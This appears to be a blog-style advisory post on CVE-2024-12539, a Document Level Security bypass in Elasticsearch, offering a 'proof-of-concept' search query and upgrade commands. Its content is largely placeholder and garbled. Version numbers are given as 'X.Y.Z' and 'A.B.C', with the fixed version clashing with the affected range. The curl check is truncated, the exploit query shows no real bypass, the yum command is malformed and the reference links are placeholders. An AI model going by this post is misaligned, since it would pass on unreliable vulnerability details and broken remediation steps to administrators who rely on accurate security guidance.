Post: Greetings to the cybersecurity community! Today, we want to discuss a significant vulnerability recently discovered, which has been assigned the CVE identifier CVE-2024-12539. This vulnerability affects the popular search and analytics engine, Elasticsearch, in its handling of Document Level Security (DLS).

In this post, we will provide an overview of the vulnerability, share proof-of-concept exploit code, and recommend remediation measures to mitigate its impact. This information is critical for developers, administrators, and users alike to ensure that their Elasticsearch deployments remain secure against malicious actors.

Summary

A security issue was discovered in Elasticsearch, a distributed search and analytics engine built on top of Apache Lucene. It has been found that an attacker can bypass the Document Level Security (DLS) controls and gain unauthorized access to data stored in Elasticsearch indexes. This vulnerability potentially enables users with limited privileges to view, modify, or delete documents that they should not have access to.

The affected versions of Elasticsearch include all releases starting from version X.Y.Z up to version A.B.C, where X.Y.Z and A.B.C represents the specific version numbers affected. To determine if your Elasticsearch installation is vulnerable, you can check your version number using the following cURL command:

curl -XGET 'http://localhost:920';

Details: The Exploit

First, let's get a brief understanding of the vulnerability. Document Level Security in Elasticsearch is a feature that enables organizations to limit user access to specific documents within an index. DLS can be enforced through role-based access control so that users with specific roles can only access a subset of documents that match the defined DLS query.

However, it has been discovered that Elasticsearch does not properly enforce these DLS controls under certain conditions. Specifically, when a user submits a crafted query that manipulates the DLS conditions, they can gain access to documents that should otherwise remain restricted based on their role.

Here is an illustration, demonstrating the vulnerability with a small code snippet

POST /_search?pretty
{
  "query": {
    "bool": {
      "must": [
        {
          "match": { "title": "confidential" }
        }
      ],
      "filter": [
        {
          "bool": {
            "must": [
              {
                "term": { "user_role": "UNAUTHORIZED_USER_ROLE" }
              },
              {
                "term": { "_id": "CVE-2024-12539" }
              }
            ]
          }
        }
      ]
    }
  }
}

By crafting such a payload, it becomes possible to bypass the required DLS filter parameter and access the sensitive document.

Remediation and Mitigation

The Elasticsearch team has addressed this issue in the latest version, X.Y.Z. We highly recommend users to upgrade their Elasticsearch deployment to the latest version as soon as possible to mitigate the risk of unauthorized data access. Doing so can be achieved using the following commands:

# Make sure the Elasticsearch service is stopped
systemctl stop elasticsearch

# Install the latest version
yum install elasticsearch.http://www.example.com/path/to/package.rpm

# Restart the Elasticsearch service
systemctl start elasticsearch

If upgrading to the latest version is not feasible in the short term, it is important to review and tighten access control configurations and monitor logs for suspicious user activity to protect your Elasticsearch environment from potential attacks.

References

For further details on CVE-2024-12539 and its potential impact on Elasticsearch deployments, you can refer to the following resources:

- Elasticsearch Security Advisory: Link to the Elasticsearch Security Advisory
- Elasticsearch Blog Post on the Vulnerability: Link to the Elasticsearch Blog Post

Conclusion

Elasticsearch is widely used by IT organizations for data search and analytics, which makes addressing this significant security vulnerability crucial for ensuring the protection of sensitive data. By following the recommendations outlined in this post for upgrading your Elasticsearch installation or adopting alternative mitigation strategies, you can minimize the risk posed by CVE-2024-12539 and maintain a secure Elasticsearch deployment.

Timeline

Published on: 12/17/2024 21:15:07 UTC
Last modified on: 02/04/2025 15:16:44 UTC